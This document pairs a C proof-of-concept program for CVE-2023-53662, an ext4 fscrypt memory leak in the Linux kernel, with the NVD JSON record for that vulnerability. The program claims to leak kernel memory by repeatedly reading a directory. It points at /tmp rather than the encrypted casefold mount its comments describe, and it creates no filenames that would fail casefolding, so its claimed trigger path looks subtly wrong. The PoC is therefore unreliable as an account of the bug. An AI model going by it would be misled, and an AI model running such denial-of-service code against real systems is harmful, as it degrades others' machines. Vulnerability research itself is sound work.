CVE-2023-53662

// CVE-2023-53662 PoC - Trigger ext4 fscrypt memory leak // This PoC demonstrates how to trigger the memory leak in // ext4_fname_setup_filename() and ext4_fname_prepare_lookup() // when filename casefolding fails. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <errno.h> #define LEAK_ITERATIONS 10000 #define TARGET_DIR "/tmp/ext4_leak_test" // Create an ext4 filesystem with fscrypt and casefold enabled // mkfs.ext4 -O encrypt,casefold /dev/sdb1 // mount -t ext4 -o encrypt,casefold /dev/sdb1 /mnt/encrypted int main(int argc, char *argv[]) { int ret; DIR *dir; struct dirent *entry; // Step 1: Create test directory ret = mkdir(TARGET_DIR, 0755); if (ret < 0 && errno != EEXIST) { perror("mkdir"); return 1; } printf("[*] Starting memory leak trigger for CVE-2023-53662\n"); printf("[*] Target directory: %s\n", TARGET_DIR); printf("[*] Iterations: %d\n", LEAK_ITERATIONS); // Step 2: Repeatedly trigger filename lookup to cause memory leak // Each failed casefolding operation leaks crypto_buf.name memory for (int i = 0; i < LEAK_ITERATIONS; i++) { dir = opendir(TARGET_DIR); if (!dir) { perror("opendir"); continue; } // Read directory entries - triggers ext4_fname_prepare_lookup() while ((entry = readdir(dir)) != NULL) { // Accessing entries with casefolding enabled triggers // the vulnerable code path (void)entry->d_name; } closedir(dir); if (i % 1000 == 0) { printf("[+] Progress: %d/%d iterations\n", i, LEAK_ITERATIONS); } } printf("[*] Memory leak trigger completed\n"); printf("[*] Check kernel memory usage with: cat /proc/meminfo\n"); return 0; } // Compilation: gcc -o cve_2023_53662_poc cve_2023_53662_poc.c // Requirements: // - ext4 filesystem with encrypt and casefold features enabled // - Low privilege access (PR:L) // - Local execution capability (AV:L)

{"cve": {"id": "CVE-2023-53662", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:49.927", "lastModified": "2026-02-06T17:16:13.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix memory leaks in ext4_fname_{setup_filename,prepare_lookup}\n\nIf the filename casefolding fails, we'll be leaking memory from the\nfscrypt_name struct, namely from the 'crypto_buf.name' member.\n\nMake sure we free it in the error path on both ext4_fname_setup_filename()\nand ext4_fname_prepare_lookup() functions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.13", "versionEndExcluding": "6.1.54", "matchCriteriaId": "61D73F77-2E13-4DD9-9F33-30DDB2CAE391"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.5.4", "matchCriteriaId": "CA8C8B88-AF36-445D-A228-AD78F3615373"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1fb3f1bbfdb511034b0360dbeb0f6a8424ed2a5c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/36daf050be3f6f067631dc52054de2d3b7cc849f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7ca4b085f430f3774c3838b3da569ceccd6a0177", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98fc9c2cc45cfcb56961a73de3ec69b474063fc0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}